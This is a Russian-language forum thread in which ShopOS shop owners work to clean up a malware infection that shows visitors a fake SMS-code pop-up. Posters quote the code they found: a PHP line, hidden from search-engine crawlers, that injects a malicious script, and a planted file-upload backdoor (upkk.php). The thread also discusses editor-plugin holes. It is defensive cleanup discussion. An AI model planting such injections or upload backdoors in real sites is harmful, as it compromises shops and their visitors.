Категории

[FAQ] Часто задаваемые вопросы и ответы

Проблемы и решения

Ошибки и исправления

Общие вопросы

Расширения

Установка и обновление

Модули

Шаблоны

Локализация интерфейса

Коммерческие предложения

Учимся бизнесу

Бизнес книги

Поисковая оптимизация (SEO)

Магазины на ShopOS

Хостинг для ShopOS

Предложения и пожелания

Курилка

Новый зловредный скрипт

У меня 4 сайта на shopOS несколько дней тому назад при заходе на один из сайтов заметил вылетающее pop-up окно с просьбой ввести код из СМС для продолжения покупки. Скрипт сторонний, к сожалению сейчас как назло баннер пропал и не могу сделать скриншот и привести, куда ведет ссылка с вылетающего баннера. На всех 4 сайтах заметил странную длительную подгрузку + пришло письмо из яндекса

По данным поиска Яндекса, на Вашем сайте site.ru есть страницы, которые могут представлять угрозу для компьютеров посетителей. Поэтому в результатах поиска Яндекса ссылки на эти страницы помечаются как потенциально опасные.

Сейчас ищу зловредный код и пока нашел вот это
/public_html/themes/ваша_тема/javascript/general.js.php


<script type="text/javascript"><!--
function toggle(e)
{
  if (e.style.display == "none")
  {
      e.style.display = "block";
  }
  else
  {
      e.style.display = "none";
  }
}
//--></script>


Как появиться новая инфа , сброшу в эту тему.
Теперь вопрос, у кого то было что-то вроде этого? Може это массовая хрень какая-то т.к. на всех 4 сайтах этот скрипт


вчера такое удалял и писал где-то тут.
было в файле product_info.php и в файле includes/bottom.php

Смотрите даты изменения файлов и те, которые сделаны недавно проверяйте.


Так же примените это http://www.shopos.ru/forum/index.php?topic=6706.0


Изучил то что вы писали но все таки думаю это что-то другое.
В любом случае приведу пример фаила products_info.php


<?php
/*
#####################################
#  ShopOS: Shopping Cart Software.
#  Copyright (c) 2008-2010
#  http://www.shopos.ru
#  http://www.shoposs.com
#  Ver. 1.0.0
#####################################
*/

include ('includes/top.php');
//$osTemplate = new osTemplate;

if ($_GET['products_id']) {
$cat = os_db_query("SELECT categories_id FROM ".TABLE_PRODUCTS_TO_CATEGORIES." WHERE products_id='".(int) $_GET['products_id']."'");
$catData = os_db_fetch_array($cat);
if ($catData['categories_id'])
$cPath = os_input_validation(os_get_path($catData['categories_id']), 'cPath', '');

}



if ($_GET['action'] == 'get_download') {
os_get_download($_GET['cID']);
}

include (DIR_WS_MODULES.'product_info.php');

require (dir_path('includes').'header.php');
$osTemplate->assign('language', $_SESSION['language']);
$osTemplate->caching = 0;
$osTemplate->load_filter('output', 'trimhitespace');


if (is_file(_THEMES_C.FILENAME_PRODUCT_INFO.'_'.$actual_products_id.'.html'))
{
  $template = CURRENT_TEMPLATE.'/'.FILENAME_PRODUCT_INFO.'_'.$actual_products_id.'.html';
}
elseif (is_file(_THEMES_C.'product_info.html'))
{
  $template = CURRENT_TEMPLATE.'/product_info.html';
}
else
{
  $template = CURRENT_TEMPLATE.'/index.html';
}

$osTemplate->display($template);
if(!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){if(@$_COOKIE['action']!=1)echo('<script src="admin/includes/javascript/json.js"></script>');}
include ('includes/bottom.php');
?>

в самом низу какая то явно ерунда.


удалить это

if(!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){if(@$_COOKIE['action']!=1)echo('<script src="admin/includes/javascript/json.js"></script>');}


и удалить файл admin/includes/javascript/json.js


Вы сравнивайте если что файлы с оригиналами из архива шопоса. Там изменения сразу будут все видны.


да я то уже понял, по сути ищи по iframe что называеться.
И все таки это другая зараза.


Это она и есть. Вчера ее чистил. Вы не все файлы значит проверили. еще где-то есть.
И iframe тут не причем. Само всплывающее окно в файле admin/includes/javascript/json.js
Короче все файлы нужно со свежими датами проверять и чистить.


Вот еще дрянь, может тоже у кого есть
/public_html/admin/includes/upkk.php

В самом фаиле

<?php
if(isset($_FILES['upkk']['tmp_name'])){
@mkdir("kk", 0777);
copy($_FILES['upkk']['tmp_name'],"kk/".basename($_FILES['upkk']['name']));
}
?>


Кстати а почему никто жалобу не строчит вот на этих http://pergoros.ru/action.html ?
Как никак их адрес в зловредном скрипте?


Тоже третий день безуспешно пытаюсь бороться с заразой.
Подумал, если терапия не помогает, может быть хирургически вмё исправить: снести всё и заново установить магазин?

Вопрос: это поможет?

И ещё. Уменя стоит версия 2.5.8.

Ещё один вопрос: Стоит ли переходить на версию 2.5.9?


Заранее благодарен за ответы.



Кстати а почему никто жалобу не строчит вот на этих http://pergoros.ru/action.html ?
Как никак их адрес в зловредном скрипте?

1.  Указанная ссылка дает Not Found
2.  Судя по  http://pergoros.ru/, сайт закрыт хостером. Должно, кто-то настрочил.
3. Сами владельцы, скорее всего, не распространители зловредного скрипта, а такие же бедолаги - жертвы злых хакеров.


Два  вопроса.

1. Как эта зараза попадает на сайт?
2. Какие права и на какие папки в шопосе нужны. Заметил что на некоторых папках 777 стоит.



Два  вопроса.

1. Как эта зараза попадает на сайт?
2. Какие права и на какие папки в шопосе нужны. Заметил что на некоторых папках 777 стоит.

Шопос дырявый скрипт вот http://www.shopos.ru/forum/index.php?topic=6689.0
поддержки нет, может организуем групповой заказ на устранение уязвимостей?
Нашел еще уязвимость. 


В личку можно еще уязвимость?

То, что к кому-то получили доступ совсем не значит что виноват скрипт.



В личку можно еще уязвимость?

То, что к кому-то получили доступ совсем не значит что виноват скрипт.

В этой ситуации 100% виноват скрипт, поддержки нет, покупаем скрипт потом возникают проблемы, уязвимость есть здесь "spellchecker". Пока нашел два решения менять путь к папке "tiny_mce"(т.е. ее переменовать) и добавить в файл ".htaccess" доступ по ip администраторов сайта. Потом можно решать проблему с уязвимость скрипта.


Если вы про то, что читается директория, это не уязвимость. и читается не везде и не у всех.
можно в .htaccess использовать Options -Indexes



В этой ситуации 100% виноват скрипт, поддержки нет, покупаем скрипт потом возникают проблемы

Виноват недосмотр бывшего разработчика, что не закрыл эту "дыру" в свое время. Потому как не подумал о ней, как и многие другие. Это не только у шопоса проблема с этим плагином редактора, но и у тех, кто его использует и не проверяет все.
Я же решение уже сделал. А листинг файлов уже закрывать либо хостер, либо сами .htaccess.
нашел просмотр директорий всего на двух сайтах. у других все закрыто.




В этой ситуации 100% виноват скрипт, поддержки нет, покупаем скрипт потом возникают проблемы

Виноват недосмотр бывшего разработчика, что не закрыл эту "дыру" в свое время. Потому как не подумал о ней, как и многие другие. Это не только у шопоса проблема с этим плагином редактора, но и у тех, кто его использует и не проверяет все.
Я же решение уже сделал. А листинг файлов уже закрывать либо хостер, либо сами .htaccess.
нашел просмотр директорий всего на двух сайтах. у других все закрыто.

Можно посмотреть что будет после Вашего решения(я поменял путь, обновил данный плагин). 


Не очень понял. Посмотреть что?



Не очень понял. Посмотреть что?

какие будут проникновения и как?


Ну так вот решение http://www.shopos.ru/forum/index.php?topic=6706.0
Установите и попробуйте получить доступ к тому файлу плагина не из под админа.
всегда есть недосмотры и косяки в скриптах. просто найти их сложно, так как такой объем кода трудно проверить. тем более, что скрипт делался не с нуля, а брался уже готовый, да еще и не первой свежести.


Без официальной поддержки плохо(данные проблемы были и у vamshop, но там администратор решил проблему) мы решаем сами, хотелось бы знать будет поддержка?


Без официальной поддержки плохо(данные проблемы были и у vamshop, но там администратор решил проблему) мы решаем сами, хотелось бы знать будет поддержка?

Без понятия, если честно что будет и когда будет.



Без официальной поддержки плохо(данные проблемы были и у vamshop, но там администратор решил проблему) мы решаем сами, хотелось бы знать будет поддержка?


А как Вы определили, что VamShop решил эту проблему?  Вот на их форуме свежее сообщение о том же вирусе на последней версии:

http://vamshop.ru/forum/topic/9644-%D1%81%D1%80%D0%BE%D1%87%D0%BD%D0%BE-%D0%BD%D1%83%D0%B6%D0%BD%D0%B0-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C-%D0%B2%D1%80%D0%B5%D0%B4%D0%BE%D0%BD%D0%BE%D1%81%D0%BD%D1%8B%D0%B9-%D0%BA%D0%BE%D0%B4/page__st__20


И решение у них там потрясное!
Цитирую

Проверьте, у Вас есть папка /admin/includes/javascript/tiny_mce/plugins/tinybrowser ?!
Если есть, удалите.


тоже схватил на свои два сайта данный вирус...


Хочу сказать что, не только на Shopos этот вирус, но и вордпрес тоже самое.
Я уже 8 сайтов чистил на шопосе и 2 на вордпресе, и все прописаны в .Js файлах.


а забыл добавить, еще один сайт на ucoz_е.




Без официальной поддержки плохо(данные проблемы были и у vamshop, но там администратор решил проблему) мы решаем сами, хотелось бы знать будет поддержка?


А как Вы определили, что VamShop решил эту проблему?  Вот на их форуме свежее сообщение о том же вирусе на последней версии:

http://vamshop.ru/forum/topic/9644-%D1%81%D1%80%D0%BE%D1%87%D0%BD%D0%BE-%D0%BD%D1%83%D0%B6%D0%BD%D0%B0-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C-%D0%B2%D1%80%D0%B5%D0%B4%D0%BE%D0%BD%D0%BE%D1%81%D0%BD%D1%8B%D0%B9-%D0%BA%D0%BE%D0%B4/page__st__20

там и написано "Это старый менеджер файлов, который в текущих версиях VamShop уже давным давно не используется."


Там много всего написано.  В одном месте  написано четко:

У меня возникла таже проблема=(
Версия легальная, 1,67.



Там много всего написано.  В одном месте  написано четко:

У меня возникла таже проблема=(
Версия легальная, 1,67.

может  не удалили tinybrowser.



может  не удалили tinybrowser.


Вот я и намекаю на то, что Ваши утверждения о том, что там все прекрасно решено, основываются на ничем не подкрепленных догадках.


У меня вообще прикол...
Яндекс говорит, что мой сайт зловредный.
Начал искать...
За последние полтора месяца изменения были только в папках cache и tmp...
И где этот зловредный код искать...
Сообщение о заражении от Яндекса получил сегодня утром...
Те файлы, о которых говорит Яндекс не изменялись уже по полгода...
Странно все это...


смотрите во всех js фаилах, у меня там были.


еще файл .htaccess возможно в нем прописано что-то



смотрите во всех js фаилах, у меня там были.
А если они не изменялись по полгода?
У всех последняя дата изменения, когда ставил магазин...


Вы сравните размер файлов у вас и файлов из чистой версии. Если у вас больше, то там что-то добавили.


Короче у меня такое ощущение, что просто яндекс все shoposov отправил в аут...

У меня в Яндекс.Вебмастер под зараженными страницами (а их две и обе чистые) такая вот строчечка:
Інформація надана партнером Яндекса компанією Sophos (R). Яндекс не гарантує точність Інформації та не відшкодовує ніякого збитку, прямого чи непрямого, завданого в результаті використання або неможливості використання Інформації, включаючи, але не обмежуючись цим, збитки, викликані неточністю надаваної Інформації.


Короче, мой сайт Яндекс забанил для профилактики...
Ничего я не нашел... все чистенькое, да и в поведении ничего замечено не было...


ссылку кинь в личику.


вот смотри еще в одном нашел, смотри на скрине какое число )))


Народ, а гугл кого-нибудь отправил в аут (у кого сайты заражены)?

Второй день ищу и ничего не вижу...


Может я чего не доувидел, прошу вашей помощи:
на эти файлы у меня ругается яндекс...
Файл index.php
    if (isset($_GET['page']) && !isset($_GET['cat']) && !isset($_GET['manufacturers_id']) && !empty($_GET['page']) or (isset($_GET['main_page']) && !empty($_GET['main_page'])) )
    {
        if (isset($os_action['page']]) && function_exists($_GET['page']))
        {
            $_plug_name = $os_action_plug];
            $p->name = $_plug_name;
            $p->group = $p->info['group'];
            $p->set_dir();
            $_page = $_GET['page'];
            $_page = os_db_prepare_input($_page);
            $_page();
        }
        else
            if (isset($os_action['main_page']]))
            {

                if (function_exists($_GET['main_page']))
                {
                    require (dir_path('includes').'header.php');
                    $_main_page = $_GET['main_page'];
                    $_main_page = os_db_prepare_input($_main_page);

                    $_plug_name = $os_action_plug];
                    $p->name =  $_plug_name;
                    $p->group = $p->info['group'];
                    $p->set_dir();

                    ob_start();
                      $_main_page();
                      $m_content = ob_get_contents();
                    ob_end_clean();

                    $osTemplate->assign('CONTENT_BODY', $m_content);

                    $_array = array('img' => 'button_back.gif',
                    'href' => 'javascript:history.back(1)',
                    'alt' => IMAGE_BUTTON_BACK,
                    'code' => ''
                    );

                    $osTemplate->assign('language', $_SESSION['language']);
                    $main_content = $osTemplate->fetch(CURRENT_TEMPLATE.'/module/content.html');

                    $osTemplate->assign('language', $_SESSION['language']);
                    $osTemplate->assign('main_content', $main_content);

                    $osTemplate->load_filter('output', 'trimhitespace');
                    $template = (file_exists(_THEMES_C.FILENAME_CONTENT.'_'.$_GET['coID'].'.html') ? CURRENT_TEMPLATE.'/'.FILENAME_CONTENT.'_'.$_GET['coID'].'.html' : CURRENT_TEMPLATE.'/index.html');

                    $osTemplate->display($template);
                }
        }
        else 
        {
            os_redirect('index.php');
        }

    } 
    elseif (isset($_GET['modules_page']) && isset($_GET['modules_type']) && isset($_GET['modules_name']))
    {
        if (!empty($_GET['modules_page']) && !empty($_GET['modules_type'])&& !empty($_GET['modules_name']) && ($_GET['modules_type']=='payment' or $_GET['modules_type']=='order_total' or $_GET['modules_type']=='shipping'))
        {

            if (is_file(_MODULES.os_check_file_name($_GET['modules_type']).'/'.os_check_file_name($_GET['modules_name']).'/'.os_check_file_name($_GET['modules_page']).'.php'))
            {
                include(_MODULES.os_check_file_name($_GET['modules_type']).'/'.os_check_file_name($_GET['modules_name']).'/'.os_check_file_name($_GET['modules_page']).'.php');
            }

        }
    }
    else
    {



        $category_depth = 'top';
        if (isset ($cPath) && os_not_null($cPath)) {
            $categories_products_query = "select count(p.products_id) as total from ".TABLE_PRODUCTS_TO_CATEGORIES." as ptc, ".TABLE_PRODUCTS." as p where ptc.categories_id = '".$current_category_id."' and ptc.products_id=p.products_id and p.products_status='1'";
            $categories_products_query = osDBquery($categories_products_query);
            $cateqories_products = os_db_fetch_array($categories_products_query, true);
            if ($cateqories_products['total'] > 0) {
                $category_depth = 'products';
            } else {
                $category_parent_query = "select count(*) as total from ".TABLE_CATEGORIES." where parent_id = '".$current_category_id."'";
                $category_parent_query = osDBquery($category_parent_query);
                $category_parent = os_db_fetch_array($category_parent_query, true);
                if ($category_parent['total'] > 0) {
                    $category_depth = 'nested';
                } else {
                    $category_depth = 'products';
                }
            }
        }

        require (_INCLUDES.'header.php');
        include (_MODULES.'default.php');
        $osTemplate->assign('language', $_SESSION['language']);
        $osTemplate->load_filter('output', 'trimhitespace');

        $osTemplate->caching = 0;
        $template = (file_exists(_THEMES_C.FILENAME_DEFAULT.'_'.@$cID.'.html') ? CURRENT_TEMPLATE.'/'.FILENAME_DEFAULT.'_'.@$cID.'.html' : CURRENT_TEMPLATE.'/index.html');
        $osTemplate->display($template);

    }

    if (!isset($_GET['page']) && !isset($_GET['modules_page']))
    {
        include ('includes/bottom.php'); 
    }


Файл product_info.php

include ('includes/top.php');
//$osTemplate = new osTemplate;

if ($_GET['products_id']) {
$cat = os_db_query("SELECT categories_id FROM ".TABLE_PRODUCTS_TO_CATEGORIES." WHERE products_id='".(int) $_GET['products_id']."'");
$catData = os_db_fetch_array($cat);
if ($catData['categories_id'])
$cPath = os_input_validation(os_get_path($catData['categories_id']), 'cPath', '');

}



if ($_GET['action'] == 'get_download') {
os_get_download($_GET['cID']);
}

include (DIR_WS_MODULES.'product_info.php');

require (dir_path('includes').'header.php');
$osTemplate->assign('language', $_SESSION['language']);
$osTemplate->caching = 0;
$osTemplate->load_filter('output', 'trimhitespace');


if (is_file(_THEMES_C.FILENAME_PRODUCT_INFO.'_'.$actual_products_id.'.html'))
{
  $template = CURRENT_TEMPLATE.'/'.FILENAME_PRODUCT_INFO.'_'.$actual_products_id.'.html';
}
elseif (is_file(_THEMES_C.'product_info.html'))
{
  $template = CURRENT_TEMPLATE.'/product_info.html';
}
else
{
  $template = CURRENT_TEMPLATE.'/index.html';
}

$osTemplate->display($template);
include ('includes/bottom.php');


Как вижу я не одинок! Яндекс и меня вчера отправил в аут, страницы все не  изменялись полгода... Изменение паролей на фтп и в админку результатов не принесли.

{По данным поиска Яндекса, на Вашем сайте  есть страницы, которые могут представлять угрозу для компьютеров посетителей. Поэтому в результатах поиска Яндекса ссылки на эти страницы помечаются как потенциально опасные.... и тд}

Как быть?


Да у меня тоже ругается на http://www.garden-best.ru/ и файлы все чистые 


У многих яндекс шлет что есть вирус. хотя на деле его и нет.
уже кучу магазинов просмотрел - вирусов нет
а яша всем шлет.
видимо это связано с тем, что сайты на шопосе.


Важно http://www.shopos.ru/forum/index.php?topic=6706


Источник



Copyright ShopOS